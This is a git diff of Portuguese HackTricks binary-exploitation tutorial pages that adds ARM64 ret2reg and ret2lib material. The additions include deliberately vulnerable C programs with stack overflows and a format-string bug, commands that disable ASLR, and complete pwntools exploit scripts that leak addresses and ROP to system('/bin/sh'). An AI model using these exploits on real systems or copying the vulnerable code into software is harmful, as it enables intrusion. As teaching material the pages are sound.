diff --git a/.gitbook/assets/image (1212).png b/.gitbook/assets/image (1212).png new file mode 100644 index 000000000..7f7a5dd95 Binary files /dev/null and b/.gitbook/assets/image (1212).png differ diff --git a/.gitbook/assets/image (1213).png b/.gitbook/assets/image (1213).png new file mode 100644 index 000000000..b85eb6263 Binary files /dev/null and b/.gitbook/assets/image (1213).png differ diff --git a/.gitbook/assets/image (1214).png b/.gitbook/assets/image (1214).png new file mode 100644 index 000000000..fe29a4e4a Binary files /dev/null and b/.gitbook/assets/image (1214).png differ diff --git a/.gitbook/assets/image (1215).png b/.gitbook/assets/image (1215).png new file mode 100644 index 000000000..361adf893 Binary files /dev/null and b/.gitbook/assets/image (1215).png differ diff --git a/.gitbook/assets/image (1216).png b/.gitbook/assets/image (1216).png new file mode 100644 index 000000000..5f92599c4 Binary files /dev/null and b/.gitbook/assets/image (1216).png differ diff --git a/.gitbook/assets/image (1217).png b/.gitbook/assets/image (1217).png new file mode 100644 index 000000000..7072ebc0b Binary files /dev/null and b/.gitbook/assets/image (1217).png differ diff --git a/.gitbook/assets/image (1218).png b/.gitbook/assets/image (1218).png new file mode 100644 index 000000000..01f66cd07 Binary files /dev/null and b/.gitbook/assets/image (1218).png differ diff --git a/.gitbook/assets/image (1219).png b/.gitbook/assets/image (1219).png new file mode 100644 index 000000000..de894aabc Binary files /dev/null and b/.gitbook/assets/image (1219).png differ diff --git a/.gitbook/assets/image (1220).png b/.gitbook/assets/image (1220).png new file mode 100644 index 000000000..5d014a619 Binary files /dev/null and b/.gitbook/assets/image (1220).png differ diff --git a/.gitbook/assets/image (1221).png b/.gitbook/assets/image (1221).png new file mode 100644 index 000000000..e65ef8fd7 Binary files /dev/null and b/.gitbook/assets/image (1221).png differ diff --git a/.gitbook/assets/image (1222).png b/.gitbook/assets/image (1222).png new file mode 100644 index 000000000..241b71d29 Binary files /dev/null and b/.gitbook/assets/image (1222).png differ diff --git a/.gitbook/assets/image (1223).png b/.gitbook/assets/image (1223).png new file mode 100644 index 000000000..843007838 Binary files /dev/null and b/.gitbook/assets/image (1223).png differ diff --git a/SUMMARY.md b/SUMMARY.md index 29bc2df6e..65429f095 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -705,6 +705,7 @@ * [Leaking libc address with ROP](binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md) * [Leaking libc - template](binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md) * [One Gadget](binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md) + * [Ret2lib + Printf leak - arm64](binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md) * [Ret2syscall](binary-exploitation/rop-return-oriented-programing/rop-syscall-execv.md) * [Ret2vDSO](binary-exploitation/rop-return-oriented-programing/ret2vdso.md) * [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming.md) diff --git a/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md b/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md index 132bffc8b..09d2e26ef 100644 --- a/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md +++ b/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md @@ -6,7 +6,7 @@ Outras formas de apoiar o HackTricks: -* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! +* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** @@ -18,13 +18,13 @@ Outras formas de apoiar o HackTricks: **Porque o ESP (Ponteiro de Pilha) sempre aponta para o topo da pilha**, essa técnica envolve substituir o EIP (Ponteiro de Instrução) pelo endereço de uma instrução **`jmp esp`** ou **`call esp`**. Ao fazer isso, o shellcode é colocado imediatamente após o EIP sobrescrito. Quando a instrução `ret` é executada, o ESP aponta para o próximo endereço, precisamente onde o shellcode está armazenado. -Se o **Address Space Layout Randomization (ASLR)** não estiver ativado no Windows ou Linux, é possível usar as instruções `jmp esp` ou `call esp` encontradas em bibliotecas compartilhadas. No entanto, com [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ativo, pode ser necessário procurar essas instruções dentro do programa vulnerável em si (e pode ser necessário derrotar [**PIE**](../common-binary-protections-and-bypasses/pie/)). +Se o **Address Space Layout Randomization (ASLR)** não estiver ativado no Windows ou Linux, é possível usar instruções `jmp esp` ou `call esp` encontradas em bibliotecas compartilhadas. No entanto, com [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ativo, pode ser necessário procurar essas instruções dentro do programa vulnerável em si (e pode ser necessário derrotar [**PIE**](../common-binary-protections-and-bypasses/pie/)). Além disso, ser capaz de colocar o shellcode **após a corrupção do EIP**, em vez de no meio da pilha, garante que quaisquer instruções `push` ou `pop` executadas durante a operação da função não interfiram no shellcode. Essa interferência poderia ocorrer se o shellcode fosse colocado no meio da pilha da função. -### Falta de espaço +### Espaço insuficiente -Se você estiver com falta de espaço para escrever após sobrescrever o RIP (talvez apenas alguns bytes), escreva um shellcode **`jmp`** inicial como: +Se você estiver com espaço insuficiente para escrever após sobrescrever o RIP (talvez apenas alguns bytes), escreva um shellcode **`jmp`** inicial como: ```armasm sub rsp, 0x30 jmp rsp @@ -87,7 +87,6 @@ target.sendline(payload) # Drop to an interactive shell target.interactive() - ``` ## Ret2reg @@ -101,12 +100,93 @@ Você pode encontrar alguns exemplos aqui: * [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c) * **`strcpy`** irá armazenar em **`eax`** o endereço do buffer onde o shellcode foi armazenado e **`eax`** não está sendo sobrescrito, então é possível usar um `ret2eax`. -## Proteções +## ARM64 + +### Ret2sp + +No ARM64 **não há** instruções que permitam **saltar para o registro SP**. Pode ser possível encontrar um gadget que **mova sp para um registro e então salte para esse registro**, mas na libc do meu kali não consegui encontrar nenhum gadget assim: + +{% code overflow="wrap" %} +```bash +for i in `seq 1 30`; do +ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)"; +done +``` +{% endcode %} + +Os únicos que descobri mudariam o valor do registro onde sp foi copiado antes de pular para ele (então se tornaria inútil): + +
+ +### Ret2reg + +Se um registro tiver um endereço interessante, é possível pular para ele apenas encontrando a instrução adequada. Você poderia usar algo como: +```bash +ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?"; +``` +{% endcode %} + +Em ARM64, é o **`x0`** quem armazena o valor de retorno de uma função, então pode ser que x0 armazene o endereço de um buffer controlado pelo usuário com um shellcode para executar. + +Código de exemplo: +```c +// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack + +#include +#include + +void do_stuff(int do_arg){ +if (do_arg == 1) +__asm__("br x0"); +return; +} + +char* vulnerable_function() { +char buffer[64]; +fgets(buffer, sizeof(buffer)*3, stdin); +return buffer; +} + +int main(int argc, char **argv) { +char* b = vulnerable_function(); +do_stuff(2) +return 0; +} +``` +Verificando a desmontagem da função, é possível ver que o **endereço do buffer** (vulnerável a bof e **controlado pelo usuário**) é **armazenado em `x0`** antes de retornar do estouro de buffer: + +
+ +Também é possível encontrar o gadget **`br x0`** na função **`do_stuff`**: + +
+ +Vamos usar esse gadget para pular para ele porque o binário é compilado **SEM PIE**. Usando um padrão, é possível ver que o **deslocamento do estouro de buffer é 80**, então o exploit seria: +```python +from pwn import * + +p = process('./ret2x0') +elf = context.binary = ELF('./ret2x0') + +stack_offset = 72 +shellcode = asm(shellcraft.sh()) +br_x0 = p64(0x4006a0) # Addr of: br x0; +payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0 + +p.sendline(payload) +p.interactive() +``` +{% hint style="warning" %} +Se em vez de `fgets` fosse usado algo como **`read`**, teria sido possível contornar o PIE também **sobrescrevendo apenas os últimos 2 bytes do endereço de retorno** para retornar à instrução `br x0;` sem precisar saber o endereço completo.\ +Com `fgets` não funciona porque ele **adiciona um byte nulo (0x00) no final**. +{% endhint %} + +## Protections * [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Se a pilha não for executável, isso não ajudará, pois precisamos colocar o shellcode na pilha e pular para executá-lo. -* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Isso pode dificultar encontrar uma instrução para pular para esp ou qualquer outro registrador. +* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Isso pode dificultar encontrar uma instrução para pular para esp ou qualquer outro registro. -## Referências +## References * [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode) * [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) @@ -115,12 +195,12 @@ Você pode encontrar alguns exemplos aqui: Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! -Outras formas de apoiar o HackTricks: +Outras maneiras de apoiar o HackTricks: -* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! +* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md b/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md index efd19dde9..058048bc4 100644 --- a/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md +++ b/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md @@ -6,8 +6,8 @@ Outras maneiras de apoiar o HackTricks: -* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! -* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) +* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! +* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. @@ -16,7 +16,7 @@ Outras maneiras de apoiar o HackTricks: ## **Informações Básicas** -A essência do **Ret2Libc** é redirecionar o fluxo de execução de um programa vulnerável para uma função dentro de uma biblioteca compartilhada (por exemplo, **system**, **execve**, **strcpy**) em vez de executar shellcode fornecido pelo atacante na pilha. O atacante cria uma carga útil que modifica o endereço de retorno na pilha para apontar para a função da biblioteca desejada, ao mesmo tempo em que organiza para que quaisquer argumentos necessários sejam configurados corretamente de acordo com a convenção de chamada. +A essência do **Ret2Libc** é redirecionar o fluxo de execução de um programa vulnerável para uma função dentro de uma biblioteca compartilhada (por exemplo, **system**, **execve**, **strcpy**) em vez de executar shellcode fornecido pelo atacante na pilha. O atacante cria um payload que modifica o endereço de retorno na pilha para apontar para a função da biblioteca desejada, ao mesmo tempo em que organiza para que quaisquer argumentos necessários sejam configurados corretamente de acordo com a convenção de chamada. ### **Passos de Exemplo (simplificados)** @@ -47,7 +47,7 @@ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh ``` ### Usando gdb-peda / GEF -Sabendo a libc usada, também é possível usar Peda ou GEF para obter o endereço da função **system**, da função **exit** e da string **`/bin/sh`**: +Sabendo a libc usada, também é possível usar Peda ou GEF para obter o endereço da função **system**, da função **exit** e da string **`/bin/sh`** : ```bash p system p exit @@ -79,27 +79,27 @@ E você pode encontrar um modelo do pwntools para isso em: ### Conheça a libc com 2 offsets -Verifique a página [https://libc.blukat.me/](https://libc.blukat.me/) e use **alguns endereços** de funções dentro da libc para descobrir a **versão utilizada**. +Verifique a página [https://libc.blukat.me/](https://libc.blukat.me/) e use um **par de endereços** de funções dentro da libc para descobrir a **versão utilizada**. ## Bypassing ASLR em 32 bits Esses ataques de força bruta são **apenas úteis para sistemas de 32 bits**. -* Se o exploit for local, você pode tentar forçar a base de endereços da libc (útil para sistemas de 32 bits): +* Se o exploit for local, você pode tentar forçar a base de endereço da libc (útil para sistemas de 32 bits): ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` -* Ao atacar um servidor remoto, você pode tentar **forçar o endereço da função `usleep` da `libc`**, passando como argumento o valor 10 (por exemplo). Se em algum momento o **servidor demorar 10s extras para responder**, você encontrou o endereço dessa função. +* Se estiver atacando um servidor remoto, você pode tentar **forçar o endereço da função `usleep` da `libc`**, passando como argumento 10 (por exemplo). Se em algum momento o **servidor demorar 10s extras para responder**, você encontrou o endereço dessa função. ## One Gadget -Execute um shell pulando para **um** endereço específico na **libc**: +Execute um shell pulando para **um** endereço específico na libc: {% content-ref url="one-gadget.md" %} [one-gadget.md](one-gadget.md) {% endcontent-ref %} -## Exemplo de Código x86 Ret2lib +## Exemplo de Código Ret2lib x86 Neste exemplo, o brute-force do ASLR está integrado no código e o binário vulnerável está localizado em um servidor remoto: ```python @@ -117,7 +117,7 @@ payload = 'A'*0x20010 + p c.send(payload) c.interactive() ``` -## Exemplo de Código x64 Ret2lib +## Exemplo de Código Ret2lib x64 Verifique o exemplo em: @@ -125,9 +125,21 @@ Verifique o exemplo em: [..](../) {% endcontent-ref %} +## Exemplo Ret2lib ARM64 + +No caso do ARM64, a instrução ret salta para onde o registro x30 está apontando e não para onde o registro de pilha está apontando. Portanto, é um pouco mais complicado. + +Também no ARM64, uma instrução faz o que a instrução faz (não é possível pular no meio das instruções e transformá-las em novas). + +Verifique o exemplo em: + +{% content-ref url="ret2lib-+-printf-leak-arm64.md" %} +[ret2lib-+-printf-leak-arm64.md](ret2lib-+-printf-leak-arm64.md) +{% endcontent-ref %} + ## Ret-into-printf (ou puts) -Isso permite **vazar informações do processo** chamando `printf`/`puts` com alguns dados específicos colocados como argumento. +Isso permite **vazar informações do processo** chamando `printf`/`puts` com alguns dados específicos colocados como argumento. Por exemplo, colocar o endereço de `puts` na GOT em uma execução de `puts` irá **vazar o endereço de `puts` na memória**. ## Ret2printf @@ -140,14 +152,14 @@ Isso basicamente significa abusar de um **Ret2lib para transformá-lo em uma vul ## Outros Exemplos e Referências * [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html) -* Ret2lib, dado um vazamento para o endereço de uma função na libc, usando um gadget +* Ret2lib, dado um vazamento para o endereço de uma função em libc, usando um gadget * [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html) -* 64 bits, ASLR ativado mas sem PIE, o primeiro passo é preencher um estouro até o byte 0x00 do canário para então chamar puts e vazá-lo. Com o canário, um gadget ROP é criado para chamar puts e vazar o endereço de puts do GOT e um gadget ROP para chamar `system('/bin/sh')` +* 64 bits, ASLR ativado, mas sem PIE, o primeiro passo é preencher um estouro até o byte 0x00 do canário e então chamar puts e vazá-lo. Com o canário, um gadget ROP é criado para chamar puts e vazar o endereço de puts da GOT e um gadget ROP para chamar `system('/bin/sh')` * [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html) -* 64 bits, ASLR ativado, sem canário, estouro de pilha em main a partir de uma função filha. Gadget ROP para chamar puts e vazar o endereço de puts do GOT e então chamar um gadget. +* 64 bits, ASLR ativado, sem canário, estouro de pilha em main a partir de uma função filha. Gadget ROP para chamar puts e vazar o endereço de puts da GOT e então chamar um gadget único. * [https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html) -* 64 bits, sem pie, sem canário, sem relro, nx. Usa a função write para vazar o endereço de write (libc) e chama um gadget. +* 64 bits, sem PIE, sem canário, sem relro, nx. Usa a função write para vazar o endereço de write (libc) e chama um gadget único. * [https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html) -* Usa uma string de formato para vazar o canário da pilha e um estouro de buffer para chamar o sistema (está no GOT) com o endereço de `/bin/sh`. +* Usa uma string de formato para vazar o canário da pilha e um estouro de buffer para chamar o sistema (está na GOT) com o endereço de `/bin/sh`. * [https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html) * 32 bits, sem relro, sem canário, nx, pie. Abusa de um mau indexação para vazar endereços de libc e heap da pilha. Abusa do estouro de buffer para fazer um ret2lib chamando `system('/bin/sh')` (o endereço do heap é necessário para contornar uma verificação). diff --git a/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md b/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md index dabc3cc07..fdf2f420b 100644 --- a/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md +++ b/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md @@ -6,7 +6,7 @@ Outras formas de apoiar o HackTricks: -* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! +* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** @@ -30,10 +30,14 @@ Para o endereço indicado pelo One Gadget, você precisa **adicionar o endereço One Gadget é de **grande ajuda para técnicas de Arbitrary Write 2 Exec** e pode **simplificar as cadeias ROP** pois você só precisa chamar um endereço (e atender aos requisitos). {% endhint %} +### ARM64 + +O repositório do github menciona que **ARM64 é suportado** pela ferramenta, mas ao executá-la na libc de um Kali 2023.3 **não encontra nenhum gadget**. + ## Angry Gadget Do [**repositório do github**](https://github.com/ChrisTheCoolHut/angry\_gadget): Inspirado pelo [OneGadget](https://github.com/david942j/one\_gadget) esta ferramenta é escrita em python e usa [angr](https://github.com/angr/angr) para testar restrições para gadgets executando `execve('/bin/sh', NULL, NULL)`\ -Se você já testou todos os gadgets do OneGadget, o Angry Gadget oferece muito mais com restrições complicadas para tentar! +Se você esgotou os gadgets para tentar do OneGadget, o Angry Gadget oferece muito mais com restrições complicadas para tentar! ```bash pip install angry_gadget diff --git a/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md b/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md new file mode 100644 index 000000000..87f68a556 --- /dev/null +++ b/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md @@ -0,0 +1,225 @@ +# Ret2lib + Vazamento de Printf - arm64 + +
+ +Aprenda hacking na AWS do zero ao avançado com htARTE (HackTricks AWS Red Team Expert)! + +Outras maneiras de apoiar o HackTricks: + +* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! +* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) +* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. + +
+ +## Ret2lib - Bypass de NX com ROP (sem ASLR) +```c +#include + +void bof() +{ +char buf[100]; +printf("\nbof>\n"); +fgets(buf, sizeof(buf)*3, stdin); +} + +void main() +{ +printfleak(); +bof(); +} +``` +Compilar sem canário: +```bash +clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector +# Disable aslr +echo 0 | sudo tee /proc/sys/kernel/randomize_va_space +``` +### Encontrar o deslocamento + +### Deslocamento x30 + +Criando um padrão com **`pattern create 200`**, usando-o e verificando o deslocamento com **`pattern search $x30`** podemos ver que o deslocamento é **`108`** (0x6c). + +
+ +Dando uma olhada na função principal desmontada, podemos ver que gostaríamos de **pular** para a instrução que leva diretamente ao **`printf`**, cujo deslocamento a partir de onde o binário é carregado é **`0x860`**: + +
+ +### Encontrar system e a string `/bin/sh` + +Como o ASLR está desativado, os endereços serão sempre os mesmos: + +
+ +### Encontrar Gadgets + +Precisamos ter em **`x0`** o endereço da string **`/bin/sh`** e chamar **`system`**. + +Usando o rooper, foi encontrado um gadget interessante: +``` +0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret; +``` +Este gadget irá carregar `x0` de **`$sp + 0x18`** e então carregar os endereços x29 e x30 do sp e saltar para x30. Com este gadget podemos **controlar o primeiro argumento e depois saltar para o sistema**. + +### Exploração +```python +from pwn import * +from time import sleep + +p = process('./rop') # For local binary +libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6") +libc.address = 0x0000fffff7df0000 +binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh +system = libc.sym["system"] + +def expl_bof(payload): +p.recv() +p.sendline(payload) + +# Ret2main +stack_offset = 108 +ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret; + +x29 = b"AAAAAAAA" +x30 = p64(system) +fill = b"A" * (0x18 - 0x10) +x0 = p64(binsh) + +payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0 +p.sendline(payload) + +p.interactive() +p.close() +``` +## Ret2lib - Bypasso de NX, ASLR e PIE com vazamentos do printf a partir da pilha +```c +#include + +void printfleak() +{ +char buf[100]; +printf("\nPrintf>\n"); +fgets(buf, sizeof(buf), stdin); +printf(buf); +} + +void bof() +{ +char buf[100]; +printf("\nbof>\n"); +fgets(buf, sizeof(buf)*3, stdin); +} + +void main() +{ +printfleak(); +bof(); +} + +``` +Compilar **sem canário**: +```bash +clang -o rop rop.c -fno-stack-protector -Wno-format-security +``` +### PIE e ASLR mas sem canary + +* Rodada 1: +* Vazamento do PIE a partir da pilha +* Abuso de estouro de buffer para voltar ao main +* Rodada 2: +* Vazamento do libc a partir da pilha +* ROP: ret2system + +### Vazamentos do Printf + +Definindo um ponto de interrupção antes de chamar o printf, é possível ver que existem endereços para retornar ao binário na pilha e também endereços libc: + +
+ +Experimentando diferentes deslocamentos, o **`%21$p`** pode vazar um endereço binário (bypass do PIE) e o **`%25$p`** pode vazar um endereço libc: + +
+ +Subtraindo o endereço vazado do libc com o endereço base do libc, é possível ver que o **deslocamento** do **endereço vazado a partir da base é `0x49c40`.** + +### Deslocamento x30 + +Veja o exemplo anterior, pois o estouro de buffer é o mesmo. + +### Encontrar Gadgets + +Como no exemplo anterior, precisamos ter em **`x0`** o endereço da string **`/bin/sh`** e chamar **`system`**. + +Usando o rooper, outro gadget interessante foi encontrado: +``` +0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret; +``` +Este gadget irá carregar `x0` de **`$sp + 0x78`** e então carregar os endereços x29 e x30 do sp e saltar para x30. Com este gadget podemos **controlar o primeiro argumento e depois saltar para o sistema**. + +### Exploração +```python +from pwn import * +from time import sleep + +p = process('./rop') # For local binary +libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6") + +def leak_printf(payload, is_main_addr=False): +p.sendlineafter(b">\n" ,payload) +response = p.recvline().strip()[2:] #Remove new line and "0x" prefix +if is_main_addr: +response = response[:-4] + b"0000" +return int(response, 16) + +def expl_bof(payload): +p.recv() +p.sendline(payload) + +# Get main address +main_address = leak_printf(b"%21$p", True) +print(f"Bin address: {hex(main_address)}") + +# Ret2main +stack_offset = 108 +main_call_printf_offset = 0x860 #Offset inside main to call printfleak +print("Going back to " + str(hex(main_address + main_call_printf_offset))) +ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset) +expl_bof(ret2main) + +# libc +libc_base_address = leak_printf(b"%25$p") - 0x26dc4 +libc.address = libc_base_address +print(f"Libc address: {hex(libc_base_address)}") +binsh = next(libc.search(b"/bin/sh")) +system = libc.sym["system"] + +# ret2system +ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret; + +x29 = b"AAAAAAAA" +x30 = p64(system) +fill = b"A" * (0x78 - 0x10) +x0 = p64(binsh) + +payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0 +p.sendline(payload) + +p.interactive() +``` +
+ +Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! + +Outras maneiras de apoiar o HackTricks: + +* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! +* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) +* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. + +